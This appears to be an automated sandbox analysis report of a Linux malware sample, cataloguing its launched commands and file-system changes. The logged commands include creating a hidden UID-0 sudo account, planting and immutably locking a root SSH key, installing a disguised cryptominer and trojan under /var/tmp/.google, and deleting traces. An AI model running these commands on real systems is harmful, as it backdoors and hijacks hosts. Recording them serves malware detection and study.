Technical Information
Malicious functions:
Gets access to SSH keys
- /root/.ssh/authorized_keys
Launches processes:
- /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/bash <SAMPLE_FULL_PATH> -c
- grep -oP (?<=\"wgetserver\": \")[^\"]* .autorun.json
- pgrep -x syst3md
- id -u
- mkdir .settings
- mkdir /root/.ssh
- cat .settings/.rsakey
- chmod 600 /root/.ssh/authorized_keys
- chattr +ia /root/.ssh
- sleep 1
- cp .autorun.json .autorun.bak.json
- sed -i -e s@minerl@/root/syst3md@g .autorun.json
- sed -i -e s@hookl@/root/1@g .autorun.json
- sed -i -e s@apache3l@/root/trojanhorse@g .autorun.json
- sed -i -e s@fakerl@/root/.fake@g .autorun.json
- /usr/sbin/useradd -u0 -g0 -o -s /bin/bash ad1tz
- nscd -i passwd
- nscd -i group
- usermod -aG sudo ad1tz
- mkdir /var/tmp/.google
- cp config.json /var/tmp/.google/bing.json
- rm -rf config.json
- sed -i -e s@minercfgl@/var/tmp/.google/bing.json@g .autorun.json
- cp .autorun.json /var/tmp/.google/yandex.json
- rm -rf .autorun.json
- clear
- sleep 2
- sleep 3
- ./trojanhorse
- wget -q /clear.sh
- chmod +x <SAMPLE> run.sh stdout.log
- rm -rf clear*
Performs operations with the file system:
Modifies file access rights:
- /root/.ssh/authorized_keys
- /etc/passwd+
- /etc/shadow+
- /etc/subuid+
- /etc/subgid+
- /etc/group+
- /etc/gshadow+
- <SAMPLE_FULL_PATH>
- /root/run.sh
Creates folders:
- /root/.settings
- /root/.ssh
- /var/tmp/.google
Creates symlinks:
- /etc/passwd.lock
- /etc/group.lock
- /etc/gshadow.lock
- /etc/subuid.lock
- /etc/subgid.lock
- /etc/shadow.lock
Creates or modifies files:
- /root/.settings/.rsakey
- /etc/.pwd.lock
- /etc/passwd.727
- /etc/group.727
- /etc/gshadow.727
- /etc/subuid.727
- /etc/subgid.727
- /etc/shadow.727
- /etc/passwd-
- /etc/passwd+
- /etc/shadow-
- /etc/shadow+
- /etc/subuid-
- /etc/subuid+
- /etc/subgid-
- /etc/subgid+
- /etc/passwd.732
- /etc/shadow.732
- /etc/group.732
- /etc/gshadow.732
- /etc/group-
- /etc/group+
- /etc/gshadow-
- /etc/gshadow+
- /root/.settings/.usercreated
- /var/tmp/.google/.yahoocfg
Deletes files:
- /etc/passwd.727
- /etc/group.727
- /etc/gshadow.727
- /etc/subuid.727
- /etc/subgid.727
- /etc/shadow.727
- /etc/shadow.lock
- /etc/passwd.lock
- /etc/group.lock
- /etc/gshadow.lock
- /etc/subuid.lock
- /etc/subgid.lock
- /etc/passwd.732
- /etc/shadow.732
- /etc/group.732
- /etc/gshadow.732
- /root/config.json
- /root/.autorun.json
- /root/clear*
Other:
Collects CPU information
Collects RAM information
